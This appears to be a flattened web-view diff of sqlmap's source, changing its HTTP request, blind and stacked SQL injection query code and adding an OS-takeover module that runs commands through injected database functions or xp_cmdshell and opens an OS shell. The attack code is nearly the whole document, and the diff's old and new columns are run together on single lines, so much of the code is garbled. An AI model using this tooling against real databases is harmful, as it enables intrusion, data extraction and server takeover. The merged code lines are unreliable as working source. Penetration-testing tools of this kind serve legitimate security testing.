# that the url could be not stable (due to VIEWSTATE, counter, etc.)
#elif conf.md5hash is not None:
# return conf.md5hash == md5hash(page)
if commonLine in pageLines: # If the url is not stable it returns sequence matcher between the
trueLines += 1 # first untouched HTTP response page content and this content
elif ratio > conf.matchRatio:
counter += 1 return True
else:
# TODO: just debug prints return False
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
return True
else:
return False

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,10 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import httplib import httplib
import md5
import re import re
import socket import socket
import time import time
@@ -34,12 +31,13 @@ import urlparse
import traceback import traceback
from lib.contrib import multipartpost from lib.contrib import multipartpost
from lib.core.common import sanitizeCookie
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders from lib.request.basic import forgeHeaders
from lib.request.basic import parseResponse from lib.request.basic import parseResponse
from lib.request.comparison import comparison from lib.request.comparison import comparison
@@ -50,12 +48,10 @@ class Connect:
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
""" """
@staticmethod @staticmethod
def __getPageProxy(**kwargs): def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs) return Connect.getPage(**kwargs)
@staticmethod @staticmethod
def getPage(**kwargs): def getPage(**kwargs):
""" """
@@ -63,7 +59,7 @@ class Connect:
the target url page content the target url page content
""" """
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0: if conf.delay is not None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay) time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20") url = kwargs.get('url', conf.url).replace(" ", "%20")
@@ -73,6 +69,7 @@ class Connect:
ua = kwargs.get('ua', None) ua = kwargs.get('ua', None)
direct = kwargs.get('direct', False) direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False) multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
page = "" page = ""
cookieStr = "" cookieStr = ""
@@ -86,26 +83,33 @@ class Connect:
else: else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/" requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if silent:
socket.setdefaulttimeout(3)
if direct: if direct:
if "?" in url: if "?" in url:
url, params = url.split("?") url, params = url.split("?")
params = urlencode(params).replace("%%", "%") params = urlencode(params)
url = "%s?%s" % (url, params) url = "%s?%s" % (url, params)
requestMsg += "?%s" % params requestMsg += "?%s" % params
elif multipart: elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart) conn = multipartOpener.open(url, multipart)
page = conn.read() page = conn.read()
responseHeaders = conn.info()
return page encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
return page
else: else:
if conf.parameters.has_key("GET") and not get: if conf.parameters.has_key("GET") and not get:
get = conf.parameters["GET"] get = conf.parameters["GET"]
if get: if get:
get = urlencode(get).replace("%%", "%") get = urlencode(get)
url = "%s?%s" % (url, get) url = "%s?%s" % (url, get)
requestMsg += "?%s" % get requestMsg += "?%s" % get
@@ -113,37 +117,31 @@ class Connect:
if conf.parameters.has_key("POST") and not post: if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"] post = conf.parameters["POST"]
post = urlencode(post).replace("%%", "%")
requestMsg += " HTTP/1.1" requestMsg += " HTTP/1.1"
if cookie:
# TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try: try:
# Perform HTTP request # Perform HTTP request
headers = forgeHeaders(cookie, ua) headers = forgeHeaders(sanitizeCookie(cookie), ua)
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req) conn = urllib2.urlopen(req)
# Reset the number of connection retries # Reset the number of connection retries
conf.retries = 0 conf.retriesCount = 0
if not req.has_header("Accept-Encoding"): if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity" requestHeaders += "\nAccept-Encoding: identity"
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()]) requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
for _, cookie in enumerate(conf.cj): if not conf.dropSetCookie:
if not cookieStr: for _, cookie in enumerate(conf.cj):
cookieStr = "Cookie: " if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie) cookie = str(cookie)
index = cookie.index(" for ") index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index] cookieStr += "%s; " % cookie[8:index]
if not req.has_header("Cookie") and cookieStr: if not req.has_header("Cookie") and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2] requestHeaders += "\n%s" % cookieStr[:-2]
@@ -161,11 +159,14 @@ class Connect:
logger.log(9, requestMsg) logger.log(9, requestMsg)
# Get HTTP response # Get HTTP response
page = conn.read() page = conn.read()
code = conn.code code = conn.code
status = conn.msg status = conn.msg
responseHeaders = conn.info() responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
if e.code == 401: if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP " exceptionMsg = "not authorized, try to provide right HTTP "
@@ -191,6 +192,9 @@ class Connect:
warnMsg += "status code, try to force the HTTP User-Agent " warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a" warnMsg += "header with option --user-agent or -a"
else:
warnMsg = "unable to connect to the target url"
if "BadStatusLine" not in tbMsg: if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy" warnMsg += " or proxy"
@@ -200,19 +204,26 @@ class Connect:
return None, None return None, None
if conf.retries < RETRIES: if silent:
conf.retries += 1 return None, None
elif conf.retriesCount < conf.retries:
conf.retriesCount += 1
warnMsg += ", sqlmap is going to retry the request" warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg) logger.warn(warnMsg)
time.sleep(1) time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart) socket.setdefaulttimeout(conf.timeout)
return Connect.__getPageProxy(**kwargs)
else: else:
socket.setdefaulttimeout(conf.timeout)
raise sqlmapConnectionException, warnMsg raise sqlmapConnectionException, warnMsg
socket.setdefaulttimeout(conf.timeout)
parseResponse(page, responseHeaders) parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code) responseMsg += "(%s - %d):\n" % (status, code)
@@ -225,9 +236,8 @@ class Connect:
return page, responseHeaders return page, responseHeaders
@staticmethod @staticmethod
def queryPage(value=None, place=None, content=False): def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False):
""" """
This method calls a function to get the target url page content This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of and returns its page MD5 hash or a boolean value in case of
@@ -266,11 +276,11 @@ class Connect:
else: else:
ua = conf.parameters["User-Agent"] ua = conf.parameters["User-Agent"]
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua, silent=silent)
if content: if content:
return page, headers return page, headers
elif page and headers: elif page:
return comparison(page, headers, content) return comparison(page, headers, getSeqMatcher)
else: else:
return False return False

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
import time import time
@@ -33,21 +31,18 @@ from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
def __goInference(payload, expression):
start = time.time() start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and kb.dbms:
@@ -57,27 +52,39 @@ def __goInference(payload, expression):
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
count, value = bisection(payload, expression, length=length) count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
duration = int(time.time() - start) duration = int(time.time() - start)
if conf.eta and length: if conf.eta and length:
infoMsg = "retrieved: %s" % value infoMsg = "retrieved: %s" % value
logger.info(infoMsg) logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration) debugMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg) logger.debug(debugMsg)
return value return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None): outputs = []
outputs = [] origExpr = None
for field in expressionFieldsList: for field in expressionFieldsList:
output = None output = None
expressionReplaced = expression.replace(expressionFields, field, 1) if field.startswith("ROWNUM "):
output = resume(expressionReplaced, payload) continue
if isinstance(num, int):
origExpr = expression
expression = agent.limitQuery(num, expression, field)
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
if resumeValue:
output = resume(expressionReplaced, payload)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
if output: if output:
@@ -85,14 +92,16 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
warnMsg += "sqlmap is going to retrieve the value again" warnMsg += "sqlmap is going to retrieve the value again"
logger.warn(warnMsg) logger.warn(warnMsg)
output = __goInference(payload, expressionReplaced) output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
if isinstance(num, int):
expression = origExpr
outputs.append(output) outputs.append(output)
return outputs return outputs
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
def __goInferenceProxy(expression, fromUser=False, expected=None):
""" """
Retrieve the output of a SQL query characted by character taking Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected advantage of an blind SQL injection vulnerability on the affected
@@ -110,13 +119,19 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = None untilLimitChar = None
untilOrderChar = None untilOrderChar = None
output = resume(expression, payload) if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected == None or ( expected == "int" and output.isdigit() ) ): if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output return output
if not unpack:
return __goInference(payload, expression, charsetType, firstChar, lastChar)
if kb.dbmsDetected: if kb.dbmsDetected:
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
@@ -132,8 +147,9 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
# can return multiple entries # can return multiple entries
if fromUser and " FROM " in expression: if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I) limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp: if limitRegExp or ( kb.dbms == "Microsoft SQL Server" and topLimit ):
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop limitGroupStop = queries[kb.dbms].limitgroupstop
@@ -144,7 +160,22 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ): elif kb.dbms == "Microsoft SQL Server":
if limitRegExp:
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif kb.dbms == "Oracle":
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@@ -163,9 +194,14 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilLimitChar = expression.index(queries[kb.dbms].limitstring) untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms == "Microsoft SQL Server":
stopLimit += startLimit
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
elif batch:
test = "y"
else: else:
message = "can the SQL query provided return " message = "can the SQL query provided return "
message += "multiple entries? [Y/n] " message += "multiple entries? [Y/n] "
@@ -180,54 +216,58 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
untilOrderChar = countedExpression.index(" ORDER BY ") untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar] countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload) if resumeValue:
count = resume(countedExpression, payload)
if not stopLimit: if not stopLimit:
if not count or not count.isdigit(): if not count or not count.isdigit():
count = __goInference(payload, countedExpression) count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
if count and count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
message = "the SQL query provided can return " if batch:
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count stopLimit = count
else:
message = "the SQL query provided can return "
message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
elif test[0] in ("q", "Q"): if not test or test[0] in ("a", "A"):
return "Quit" stopLimit = count
elif test.isdigit() and int(test) > 0 and int(test) <= count: elif test[0] in ("q", "Q"):
stopLimit = int(test) return "Quit"
infoMsg = "sqlmap is now going to retrieve the " elif test.isdigit() and int(test) > 0 and int(test) <= count:
infoMsg += "first %d query output entries" % stopLimit stopLimit = int(test)
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"): infoMsg = "sqlmap is now going to retrieve the "
message = "How many? " infoMsg += "first %d query output entries" % stopLimit
stopLimit = readInput(message, default="10") logger.info(infoMsg)
if not stopLimit.isdigit(): elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice" errMsg = "Invalid choice"
logger.error(errMsg) logger.error(errMsg)
return None return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit(): elif count and not count.isdigit():
warnMsg = "it was not possible to count the number " warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. " warnMsg += "of entries for the SQL query provided. "
@@ -252,9 +292,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList) output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output) outputs.append(output)
return outputs return outputs
@@ -262,17 +300,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
returnValue = ", ".join([output for output in outputs]) returnValue = ", ".join([output for output in outputs])
else: else:
returnValue = __goInference(payload, expression) returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
return returnValue return returnValue
def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True):
def __goInband(expression, expected=None):
""" """
Retrieve the output of a SQL query taking advantage of an inband SQL Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter. injection vulnerability on the affected parameter.
@@ -287,22 +324,21 @@ def __goInband(expression, expected=None):
and expression in kb.resumedQueries[conf.url].keys() and expression in kb.resumedQueries[conf.url].keys()
) )
if condition: if condition and resumeValue:
output = resume(expression, None) output = resume(expression, None)
if not output or ( expected == "int" and not output.isdigit() ): if not output or ( expected == "int" and not output.isdigit() ):
partial = True partial = True
if not output: if not output:
output = unionUse(expression, resetCounter=True) output = unionUse(expression, resetCounter=True, unpack=unpack)
if output: if output:
data = parseUnionPage(output, expression, partial, condition) data = parseUnionPage(output, expression, partial, condition, sort)
return data return data
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None):
""" """
Called each time sqlmap inject a SQL query on the SQL injection Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output affected parameter. It can call a function to retrieve the output
@@ -314,8 +350,11 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
expression = expandAsteriskForColumns(expression) expression = expandAsteriskForColumns(expression)
value = None value = None
if inband and conf.unionUse and kb.dbms: if inband and kb.unionPosition:
value = __goInband(expression, expected) if kb.dbms == "Oracle" and " ORDER BY " in expression:
expression = expression[:expression.index(" ORDER BY ")]
value = __goInband(expression, expected, sort, resumeValue, unpack)
if not value: if not value:
warnMsg = "for some reasons it was not possible to retrieve " warnMsg = "for some reasons it was not possible to retrieve "
@@ -323,23 +362,29 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
warnMsg += "technique, sqlmap is going blind" warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg) logger.warn(warnMsg)
conf.paramNegative = False oldParamFalseCond = conf.paramFalseCond
oldParamNegative = conf.paramNegative
conf.paramFalseCond = False
conf.paramNegative = False
if blind and not value: if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected) value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
conf.paramFalseCond = oldParamFalseCond
conf.paramNegative = oldParamNegative
return value return value
def goStacked(expression, silent=False):
expression = cleanQuery(expression)
def goStacked(expression): debugMsg = "query: %s" % expression
""" logger.debug(debugMsg)
TODO: write description
"""
comment = queries[kb.dbms].comment comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression) query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment)) query = agent.postfixQuery("%s;%s" % (query, comment))
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
page, _ = Request.queryPage(payload, content=True) page, _ = Request.queryPage(payload, content=True, silent=silent)
return payload, page return payload, page

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,13 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import httplib import httplib
import socket import socket
import urllib import urllib
import urllib2 import urllib2
from lib.core.settings import PYVERSION
if PYVERSION >= "2.6":
import ssl
class ProxyHTTPConnection(httplib.HTTPConnection): class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443} _ports = {"http" : 80, "https" : 443}
@@ -57,8 +59,7 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
self._real_host = host self._real_host = host
self._real_port = int(port) self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers) httplib.HTTPConnection.request(self, method, rest, body, headers)
def connect(self): def connect(self):
httplib.HTTPConnection.connect(self) httplib.HTTPConnection.connect(self)
@@ -85,11 +86,10 @@ class ProxyHTTPConnection(httplib.HTTPConnection):
if line == "\r\n": if line == "\r\n":
break break
class ProxyHTTPSConnection(ProxyHTTPConnection): class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443 default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None): def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None, timeout=None):
ProxyHTTPConnection.__init__(self, host, port) ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file self.key_file = key_file
self.cert_file = cert_file self.cert_file = cert_file
@@ -98,9 +98,12 @@ class ProxyHTTPSConnection(ProxyHTTPConnection):
ProxyHTTPConnection.connect(self) ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware # Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file) if PYVERSION >= "2.6":
self.sock = httplib.FakeSocket(self.sock, ssl) sslobj = ssl.wrap_socket(self.sock, self.key_file, self.cert_file)
self.sock = sslobj
else:
sslobj = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, sslobj)
class ProxyHTTPHandler(urllib2.HTTPHandler): class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0): def __init__(self, proxy=None, debuglevel=0):
@@ -114,7 +117,6 @@ class ProxyHTTPHandler(urllib2.HTTPHandler):
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req) return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
class ProxyHTTPSHandler(urllib2.HTTPSHandler): class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0): def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy self.proxy = proxy

25
lib/takeover/__init__.py Normal file
View File

@@ -0,0 +1,25 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

167
lib/takeover/abstraction.py Normal file
View File

@@ -0,0 +1,167 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.takeover.udf import UDF
from lib.takeover.xp_cmdshell import xp_cmdshell
class Abstraction(UDF, xp_cmdshell):
"""
This class defines an abstraction layer for OS takeover functionalities
to UDF / xp_cmdshell objects
"""
def __init__(self):
self.envInitialized = False
UDF.__init__(self)
xp_cmdshell.__init__(self)
def __cmdShellCleanup(self):
if not conf.cleanup:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.cleanup()
elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def execCmd(self, cmd, silent=False, forgeCmd=False):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def evalCmd(self, cmd, first=None, last=None):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
return self.udfEvalCmd(cmd, first, last)
elif kb.dbms == "Microsoft SQL Server":
return self.xpCmdshellEvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def runCmd(self, cmd):
getOutput = None
message = "do you want to retrieve the command standard "
message += "output? [Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
output = self.evalCmd(cmd)
if output:
dumper.string("command standard output", output)
else:
print "No output"
else:
self.execCmd(cmd, forgeCmd=True)
if not conf.osShell and not conf.cleanup:
self.__cmdShellCleanup()
def absOsShell(self):
if kb.dbms in ( "MySQL", "PostgreSQL" ):
infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system "
infoMsg += "command execution"
logger.info(infoMsg)
elif kb.dbms == "Microsoft SQL Server":
infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg += "operating system command execution"
logger.info(infoMsg)
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
infoMsg = "calling %s OS shell. To quit type " % kb.os or "Windows"
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
